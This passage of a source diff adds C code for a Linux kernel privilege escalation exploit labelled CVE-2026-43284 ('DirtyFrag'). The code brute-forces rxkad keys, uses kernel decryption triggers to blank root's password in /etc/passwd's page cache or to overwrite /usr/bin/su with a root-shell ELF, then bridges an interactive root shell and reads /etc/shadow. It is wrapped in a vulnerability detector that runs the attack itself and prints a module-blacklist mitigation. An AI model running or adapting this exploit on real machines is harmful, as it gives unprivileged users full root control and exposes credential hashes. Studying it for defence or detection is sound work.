K[8], P[8]; + uint64_t seed = seed_init; + struct timespec ts0, ts1; + clock_gettime(CLOCK_MONOTONIC, &ts0); + + for (uint64_t iter = 0; iter < max_iters; iter++) { + uint64_t r = fc_splitmix64(&seed); + memcpy(K, &r, 8); + fcrypt_user_setkey(&ctx, K); + fcrypt_user_decrypt(&ctx, P, C); + + if (check(P)) { + memcpy(K_out, K, 8); + memcpy(P_out, P, 8); + clock_gettime(CLOCK_MONOTONIC, &ts1); + double dt = (ts1.tv_sec - ts0.tv_sec) + + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; + LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + label, + (unsigned long)iter, dt, iter / dt / 1e6, + K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7], + P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7], + (P[0]>=32&&P[0]<127)?P[0]:'.', + (P[1]>=32&&P[1]<127)?P[1]:'.', + (P[2]>=32&&P[2]<127)?P[2]:'.', + (P[3]>=32&&P[3]<127)?P[3]:'.', + (P[4]>=32&&P[4]<127)?P[4]:'.', + (P[5]>=32&&P[5]<127)?P[5]:'.', + (P[6]>=32&&P[6]<127)?P[6]:'.', + (P[7]>=32&&P[7]<127)?P[7]:'.'); + return 0; + } + + if ((iter & 0x3ffffff) == 0 && iter > 0) { + clock_gettime(CLOCK_MONOTONIC, &ts1); + double dt = (ts1.tv_sec - ts0.tv_sec) + + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; + if (g_cve_ctx.verbose) fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", + label, dt, (unsigned long)iter, iter / dt / 1e6); + } + } + return -1; +} + + +int rxrpc_lpe_main(int argc, char **argv) +{ + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", + getuid(), geteuid(), getgid()); + + { + const char *no_unshare = getenv("POC_NO_UNSHARE"); + if (!no_unshare || *no_unshare != '1') { + const char *do_unshare = getenv("POC_UNSHARE"); + if (do_unshare && *do_unshare == '1') { + if (do_unshare_userns_netns() < 0) return 1; + } + } + } + + /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. + * Without this, the first add_key("rxrpc", ...) call fails with ENODEV + * because the kernel key type "rxrpc" is registered by rxrpc_init() in + * the module load path. */ + { + int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (dummy < 0) { + WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); + return 1; + } + close(dummy); + LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); + } + + /* Open /etc/passwd RO and mmap the first page (which contains the + * root entry on line 1). */ + const char *target_path = getenv("POC_TARGET_FILE"); + if (!target_path || !*target_path) target_path = "/etc/passwd"; + + int rfd_ro = open(target_path, O_RDONLY); + if (rfd_ro < 0) { + WARN("open %s RO: %s", target_path, strerror(errno)); + return 1; + } + struct stat st; + fstat(rfd_ro, &st); + if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; } + LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", + target_path, (long long)st.st_size, st.st_uid, st.st_gid, + st.st_mode & 07777); + + /* mmap first page so the page-cache page stays pinned. */ + void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); + if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; } + LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); + + /* If a previous attempt already left the root entry in the patched + * "root::0:0:..." form, treat as success and skip the brute-force / + * trigger stages. Otherwise proceed regardless of current state — + * the brute-force re-derives K_A/K_B/K_C from whatever bytes are + * currently at offsets 4/6/8 of the page-cache page, so it works + * even on the corrupt residue from a previous failed run. */ + { + const char *m = (const char *)map; + if (memcmp(m, "root::0:0", 9) == 0) { + LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); + return 0; + } + LOG("/etc/passwd line 1 first 16 bytes:"); + for (int i = 0; i < 16; i++) + if (g_cve_ctx.verbose) fprintf(stderr, "%02x ", (uint8_t)m[i]); + if (g_cve_ctx.verbose) fprintf(stderr, "\n"); + } + if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); + for (int i = 0; i < 32; i++) { + char c = ((const char *)map)[i]; + fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); + } + if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); + + /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === + * + * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search + * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), + * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches + * are user-space only — no kernel/VM interaction. + * + * Last-write-wins ordering: trigger A first (covers 4..11), then B + * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — + * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: + * chars 4..5 = P_A[0..1] + * chars 6..7 = P_B[0..1] + * chars 8..15 = P_C[0..7] + * =================================================================*/ + uint8_t Ca[8], Cb[8], Cc[8]; + int off_a = 4, off_b = 6, off_c = 8; + if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; } + if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; } + if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; } + + LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7], + (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.', + (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.', + (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.', + (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.'); + LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7], + (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.', + (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.', + (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.', + (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.'); + LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7], + (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.', + (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.', + (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.', + (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.'); + + fcrypt_init_sboxes(); + /* selftest */ + { + fcrypt_uctx ctx; + uint8_t z[8] = {0}; + uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 }; + uint8_t pv[8]; + fcrypt_user_setkey(&ctx, z); + fcrypt_user_decrypt(&ctx, pv, cv); + if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; } + } + LOG("fcrypt selftest OK"); + + uint8_t Ka[8], Pa_out[8]; + uint8_t Kb[8], Pb_out[8]; + uint8_t Kc[8], Pc_out[8]; + uint8_t Cb_actual[8], Cc_actual[8]; + + { + uint64_t max_iters = 10000000000ULL; + const char *e = getenv("LPE_MAX_ITERS"); + if (e) max_iters = strtoull(e, NULL, 0); + uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); + const char *se = getenv("LPE_SEED"); + if (se) seed_base = strtoull(se, NULL, 0); + + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); + if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, + Ka, Pa_out, seed_base, "K_A") != 0) { + WARN("K_A search exhausted"); return 2; + } + + /* After splice A is applied, the ciphertext that splice B will + * see at file offset 6 is NOT the original Cb — it's the bytes + * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus + * the original bytes 12..13 (= Cb[6..7]). We must derive + * Cb_actual and search K_B against it. */ + memcpy(Cb_actual, Pa_out + 2, 6); + memcpy(Cb_actual + 6, Cb + 6, 2); + LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", + Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], + Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); + + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); + if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, + Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, + "K_B") != 0) { + WARN("K_B search exhausted"); return 2; + } + + /* Same chaining logic for splice C: after splice B, file offsets + * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original + * bytes Cc[6..7]. */ + memcpy(Cc_actual, Pb_out + 2, 6); + memcpy(Cc_actual + 6, Cc + 6, 2); + LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", + Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], + Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); + + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); + if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, + Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, + "K_C") != 0) { + WARN("K_C search exhausted"); return 2; + } + } + + if (g_cve_ctx.verbose) fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); + /* chars 4-5 from P_A */ + for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); + /* chars 6-7 from P_B */ + for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); + /* chars 8-15 from P_C */ + for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); + if (g_cve_ctx.verbose) fprintf(stderr, "/root:/bin/bash\"\n"); + + /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === + * Each trigger does a single in-place decrypt at the + * indicated /etc/passwd file offset. Last-write-wins on overlapping + * bytes determines the final state. + */ + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); + memcpy(SESSION_KEY, Ka, 8); + if (do_one_trigger(rfd_ro, off_a, 8) < 0) { + WARN("kernel trigger A failed"); return 3; + } + + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); + memcpy(SESSION_KEY, Kb, 8); + if (do_one_trigger(rfd_ro, off_b, 8) < 0) { + WARN("kernel trigger B failed"); return 3; + } + + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); + memcpy(SESSION_KEY, Kc, 8); + if (do_one_trigger(rfd_ro, off_c, 8) < 0) { + WARN("kernel trigger C failed"); return 3; + } + + /* Verify: re-read line 1 of /etc/passwd via mmap. */ + if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); + for (int i = 0; i < 32; i++) { + char c = ((const char *)map)[i]; + fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); + } + if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); + + /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ + { + const char *m = (const char *)map; + int ok = (m[4] == ':' && m[5] == ':' && + m[6] == '0' && m[7] == ':' && + m[8] == '0' && m[9] == ':' && + m[15] == ':'); + if (!ok) { + WARN("post-trigger sanity check failed — char layout off"); + return 4; + } + } + if (g_cve_ctx.verbose) fprintf(stderr, + "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " + "gid=0, dir=/root, shell=/bin/bash.\n"); + + /* === STAGE 3 — VERIFY VIA getent passwd root === */ + if (g_cve_ctx.verbose) fprintf(stderr, + "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); + { + int p[2]; + if (pipe(p) == 0) { + pid_t pid = fork(); + if (pid == 0) { + close(p[0]); + dup2(p[1], 1); + dup2(p[1], 2); + close(p[1]); + execlp("getent", "getent", "passwd", "root", NULL); + _exit(127); + } + close(p[1]); + char buf[1024]; + ssize_t r = read(p[0], buf, sizeof(buf) - 1); + close(p[0]); + int wstatus = 0; + waitpid(pid, &wstatus, 0); + if (r > 0) { + buf[r] = 0; + if (g_cve_ctx.verbose) fprintf(stderr, "[getent passwd root] %s", buf); + } + if (g_cve_ctx.verbose) fprintf(stderr, + "[+] PRIMITIVE proven: root entry has empty passwd field " + "via NSS.\n"); + } + } + + /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so + * the chain wrapper can skip the in-process su PTY stage and exec + * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ + { + int co_flag = 0; + for (int i = 1; i < argc; i++) + if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; } + const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); + if (e && *e == '1') co_flag = 1; + if (co_flag) return 0; + } + + /* === STAGE 4 — `su` (target=root, no password input) === + * PAM common-auth contains "auth [success=2 default=ignore] + * pam_unix.so nullok" — so a target user with empty passwd field + * + nullok flag accepts an empty password. We auto-inject a + * single newline on the "Password:" prompt and then bridge the + * resulting bash to the user's tty. */ + if (g_cve_ctx.verbose) fprintf(stderr, + "\n=== STAGE 4: spawning interactive root shell via `su` " + "(no password input needed) ===\n\n"); + fflush(stderr); + + int master = posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { + WARN("posix_openpt: %s", strerror(errno)); + return 5; + } + char *slave_name = ptsname(master); + + struct winsize ws; + if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { + ioctl(master, TIOCSWINSZ, &ws); + } + + pid_t pid = fork(); + if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; } + if (pid == 0) { + /* child */ + setsid(); + int slave = open(slave_name, O_RDWR); + if (slave < 0) _exit(127); + ioctl(slave, TIOCSCTTY, 0); + dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); + if (slave > 2) close(slave); + close(master); + /* `su` with no args targets root. PAM common-auth's pam_unix.so + * nullok accepts the empty passwd we planted in /etc/passwd. */ + execlp("su", "su", NULL); + _exit(127); + } + + /* parent: bridge user's tty <-> master. */ + struct termios saved_termios; + int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); + if (saved_termios_ok) { + struct termios raw = saved_termios; + cfmakeraw(&raw); + tcsetattr(STDIN_FILENO, TCSANOW, &raw); + } + + int auto_pw_sent = 0; + int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ + char buf[4096]; + /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject + * `id; whoami; exit\n` so it can prove uid=0 non-interactively + * (e.g. when stdin is /dev/null in CI). */ + int auto_verify = 0; + { + const char *e = getenv("LPE_AUTO_VERIFY"); + if (e && *e == '1') auto_verify = 1; + } + int verify_sent = 0; + int total_ms = 0; + for (;;) { + struct pollfd pfds[2] = { + { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, + { master, POLLIN, 0 }, + }; + int pr = poll(pfds, 2, 200); + if (pr < 0 && errno != EINTR) break; + total_ms += 200; + + if (pfds[1].revents & POLLIN) { + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) break; + (void)write(STDOUT_FILENO, buf, n); + if (!auto_pw_sent && (size_t)n < sizeof(buf)) { + buf[n] = 0; + if (strstr(buf, "Password") || strstr(buf, "password")) { + /* Empty password — PAM nullok will accept it. + * (When pam_unix sees an empty passwd field plus + * nullok it skips the prompt entirely; this branch + * handles the case where some other PAM module + * prints a prompt anyway.) */ + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + } + } + if (!stdin_eof && (pfds[0].revents & POLLIN)) { + ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); + if (n <= 0) { + /* stdin EOF — stop reading from it but keep bridging + * master → stdout so su can still finish auth and run + * the optional auto-verify command. */ + stdin_eof = 1; + } else { + (void)write(master, buf, n); + } + } + if (pfds[1].revents & (POLLHUP | POLLERR)) break; + + /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so + * the bridge captures uid=0 evidence non-interactively even + * when pam_unix's blank-passwd path skips the prompt. */ + if (auto_verify && !verify_sent && total_ms >= 1000) { + const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; + (void)write(master, cmd, sizeof(cmd) - 1); + verify_sent = 1; + } + + int status; + pid_t w = waitpid(pid, &status, WNOHANG); + if (w == pid) { + for (int i = 0; i < 5; i++) { + struct pollfd pf = { master, POLLIN, 0 }; + if (poll(&pf, 1, 50) <= 0) break; + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) break; + (void)write(STDOUT_FILENO, buf, n); + } + break; + } + } + if (saved_termios_ok) { + tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); + } + close(master); + return 0; +} +/* + * DirtyFrag chain — uid=1000 → root. + * + * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first + * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- + * shell ELF. Works on every distro tested regardless of PAM nullok + * or /etc/passwd contents — once invoked, the patched setuid-root + * /usr/bin/su just execs /bin/sh as uid 0. + * + * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP + * path can't reach the page cache, fall back to the rxrpc/rxkad + * nullok primitive that patches /etc/passwd's root entry empty. + * PAM nullok then accepts the empty password during `su -`. + * + * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a + * fresh PTY and bridge the user's tty to it. The bridge handles + * both the patched-su (no PAM at all) and the patched-passwd (PAM + * nullok) cases uniformly, and works even when the caller is in a + * background process group of an ssh-allocated PTY. + * + */ +#define _GNU_SOURCE +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> +#include <errno.h> +#include <fcntl.h> +#include <sched.h> +#include <poll.h> +#include <signal.h> +#include <termios.h> +#include <sys/ioctl.h> +#include <sys/wait.h> +#include <sys/types.h> +#include <stdint.h> + +extern int su_lpe_main(int argc, char **argv); +extern int rxrpc_lpe_main(int argc, char **argv); + +/* + * The 8 bytes our su payload places at file offset 0x78 — the first + * instructions of the embedded shell ELF. Sequence: + * 31 ff xor edi, edi + * 31 f6 xor esi, esi + * 31 c0 xor eax, eax + * b0 6a mov al, 0x6a (setgid) + * Distros' original /usr/bin/su has different bytes here, so this is + * a reliable post-patch marker. + * + * (We don't check offset 0 because /usr/bin/su already has the ELF + * magic there — both before and after we patch.) + */ +static const uint8_t su_marker[8] = { + 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, +}; + +static int su_already_patched(void) +{ + int fd = open("/usr/bin/su", O_RDONLY); + if (fd < 0) + return 0; + uint8_t got[8]; + ssize_t n = pread(fd, got, sizeof(got), 0x78); + close(fd); + if (n != sizeof(got)) + return 0; + return memcmp(got, su_marker, sizeof(su_marker)) == 0; +} + +static int passwd_already_patched(void) +{ + int fd = open("/etc/passwd", O_RDONLY); + if (fd < 0) + return 0; + char head[16]; + ssize_t n = pread(fd, head, sizeof(head), 0); + close(fd); + if (n < 9) + return 0; + return memcmp(head, "root::0:0", 9) == 0; +} + +static int either_target_patched(void) +{ + return su_already_patched() || passwd_already_patched(); +} + +static void silence_stderr(int *saved_fd) +{ + *saved_fd = dup(STDERR_FILENO); + int dn = open("/dev/null", O_WRONLY); + if (dn >= 0) { + dup2(dn, STDERR_FILENO); + close(dn); + } +} + +static void restore_stderr(int saved_fd) +{ + if (saved_fd >= 0) { + dup2(saved_fd, STDERR_FILENO); + close(saved_fd); + } +} + +static char **append_corrupt_only(int argc, char **argv, int *new_argc) +{ + static char *flag = "--corrupt-only"; + static char *buf[64]; + int n = argc < 60 ? argc : 60; + for (int i = 0; i < n; i++) + buf[i] = argv[i]; + buf[n] = flag; + buf[n + 1] = NULL; + *new_argc = n + 1; + return buf; +} + +static void exec_su_login(void) +{ + const char *paths[] = { + "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, + }; + for (int i = 0; paths[i]; i++) + execl(paths[i], "su", "-", (char *)NULL); + execlp("su", "su", "-", (char *)NULL); +} + +/* + * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. + */ +static int run_root_pty(void) +{ + int master = posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) + return -1; + if (grantpt(master) < 0 || unlockpt(master) < 0) { + close(master); + return -1; + } + char *slave_name = ptsname(master); + if (!slave_name) { + close(master); + return -1; + } + + struct winsize ws; + if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) + ioctl(master, TIOCSWINSZ, &ws); + + pid_t pid = fork(); + if (pid < 0) { + close(master); + return -1; + } + if (pid == 0) { + setsid(); + int slave = open(slave_name, O_RDWR); + if (slave < 0) + _exit(127); + ioctl(slave, TIOCSCTTY, 0); + dup2(slave, 0); + dup2(slave, 1); + dup2(slave, 2); + if (slave > 2) + close(slave); + close(master); + exec_su_login(); + _exit(127); + } + + signal(SIGTTOU, SIG_IGN); + signal(SIGTTIN, SIG_IGN); + signal(SIGPIPE, SIG_IGN); + signal(SIGHUP, SIG_IGN); + (void)setpgid(0, 0); + (void)tcsetpgrp(STDIN_FILENO, getpid()); + + struct termios saved_termios; + int restore_termios = 0; + if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { + struct termios raw = saved_termios; + cfmakeraw(&raw); + if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) + restore_termios = 1; + } + + int auto_pw_sent = 0; + int stdin_eof = 0; + int saw_master_output = 0; + int total_ms = 0; + char buf[4096]; + + for (;;) { + struct pollfd pfds[2] = { + { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, + { master, POLLIN, 0 }, + }; + int pr = poll(pfds, 2, 200); + if (pr < 0 && errno != EINTR) + break; + total_ms += 200; + + if (pfds[1].revents & POLLIN) { + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) + break; + saw_master_output = 1; + (void)write(STDOUT_FILENO, buf, n); + if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { + buf[n] = 0; + if (strstr(buf, "Password") || + strstr(buf, "password")) { + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + } + } + if (!stdin_eof && (pfds[0].revents & POLLIN)) { + ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); + if (n <= 0) + stdin_eof = 1; + else + (void)write(master, buf, n); + } + if (pfds[1].revents & (POLLHUP | POLLERR)) + break; + + if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + + int status; + pid_t w = waitpid(pid, &status, WNOHANG); + if (w == pid) { + for (int i = 0; i < 5; i++) { + struct pollfd pf = { master, POLLIN, 0 }; + if (poll(&pf, 1, 50) <= 0) + break; + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) + break; + (void)write(STDOUT_FILENO, buf, n); + } + break; + } + } + + if (restore_termios) + tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); + close(master); + return 0; +} + +int main(int argc, char **argv) +{ + int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); + int force_esp = 0, force_rxrpc = 0; + int saved_err = -1; + int rc = 1; + int new_argc; + char **co_argv; + + for (int i = 1; i < argc; i++) { + if (!strcmp(argv[i], "--force-esp")) + force_esp = 1; + else if (!strcmp(argv[i], "--force-rxrpc")) + force_rxrpc = 1; + else if (!strcmp(argv[i], "-v") || + !strcmp(argv[i], "--verbose")) + verbose = 1; + } + + if (getuid() == 0) { + execlp("/bin/bash", "bash", (char *)NULL); + _exit(1); + } + + co_argv = append_corrupt_only(argc, argv, &new_argc); + + if (!verbose) + silence_stderr(&saved_err); + + if (force_rxrpc) { + rc = rxrpc_lpe_main(new_argc, co_argv); + for (int i = 0; !passwd_already_patched() && i < 3; i++) + rc = rxrpc_lpe_main(new_argc, co_argv); + } else if (force_esp) { + rc = su_lpe_main(new_argc, co_argv); + } else { + rc = su_lpe_main(new_argc, co_argv); + if (!su_already_patched()) { + rc = rxrpc_lpe_main(new_argc, co_argv); + for (int i = 0; !passwd_already_patched() && i < 3; i++) + rc = rxrpc_lpe_main(new_argc, co_argv); + } + } + + int patched = either_target_patched(); + + if (!verbose) + restore_stderr(saved_err); + + if (patched) { + (void)run_root_pty(); + return 0; + } + + if (g_cve_ctx.verbose) dprintf(2, "cve-2026-43284: failed (rc=%d)\n", rc); + return rc ? rc : 1; +} + +/* ---- detector plumbing ---- */ + +static int detector_su_already_patched(void) { + static const uint8_t marker[8] = { + 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, + }; + int fd = open("/usr/bin/su", O_RDONLY); + if (fd < 0) return 0; + uint8_t got[8]; + ssize_t n = pread(fd, got, sizeof(got), 0x78); + close(fd); + if (n != sizeof(got)) return 0; + return memcmp(got, marker, sizeof(got)) == 0; +} + +static int detector_passwd_already_patched(void) { + int fd = open("/etc/passwd", O_RDONLY); + if (fd < 0) return 0; + char head[16]; + ssize_t n = pread(fd, head, sizeof(head), 0); + close(fd); + if (n < 9) return 0; + return memcmp(head, "root::0:0", 9) == 0; +} + +int detector_cve_2026_43284(struct cve_context *ctx) { + (void)ctx; + + if (ctx->verbose) { + g_su_verbose = 1; + setenv("DIRTYFRAG_VERBOSE", "1", 1); + } + if (detector_su_already_patched() || detector_passwd_already_patched()) + return 3; + + /* Back up both artifacts before any corruption attempt. */ + backup_su(); + backup_passwd(); + + { /* ESP / xfrm path */ + char *argv[] = {"cve-2026-43284", "--corrupt-only", NULL}; + if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) { + /* System is vulnerable — restore artifacts before returning. */ + revert_su(); + revert_passwd(); + return 3; + } + revert_su(); + } + + { /* rxrpc / rxkad fallback */ + setenv("DIRTYFRAG_CORRUPT_ONLY", "1", 1); + char *argv[] = {"cve-2026-43284", "--corrupt-only", NULL}; + int rc = rxrpc_lpe_main(2, argv); + unsetenv("DIRTYFRAG_CORRUPT_ONLY"); + if (rc == 0 && detector_passwd_already_patched()) { + /* System is vulnerable — restore artifacts before returning. */ + revert_su(); + revert_passwd(); + return 3; + } + } + + /* Restore any artifacts that may have been touched. */ + revert_su(); + revert_passwd(); + + return 0; +} + +__attribute__((constructor)) void detector_cve_2026_43284_setup(void) { + detector_queue_append("CVE-2026-43284", + "Dirty Frag (xfrm-ESP Page-Cache Write): " + "Run the following to blacklist vulnerable modules:\n" + " sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\n" + "install rxrpc /bin/false\\n' > /etc/modprobe.d/cve-2026-43284.conf; " + "rmmod esp4 esp6 rxrpc 2>/dev/null ; echo 3 > /proc/sys/vm/drop_caches; true\"\n" + " Then update your kernel once distribution patches are available.", + detector_cve_2026_43284); +} diff --git a/src/detector/dirtyfrag.c b/src/detector/dirtyfrag.c @@ -1,2215 +0,0 @@ -#define _GNU_SOURCE -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <stdint.h> -#include <unistd.h> -#include <fcntl.h> -#include <errno.h> -#include <sched.h> -#include <sys/syscall.h> -#include <sys/types.h> -#include <sys/socket.h> -#include <sys/stat.h> -#include <sys/uio.h> -#include <sys/ioctl.h> -#include <sys/wait.h> -#include <netinet/in.h> -#include <arpa/inet.h> -#include <net/if.h> -#include <linux/if.h> -#include <linux/netlink.h> -#include <linux/rtnetlink.h> -#include <linux/xfrm.h> - -#include "setup.h" -#ifndef UDP_ENCAP -#define UDP_ENCAP 100 -#endif -#ifndef UDP_ENCAP_ESPINUDP -#define 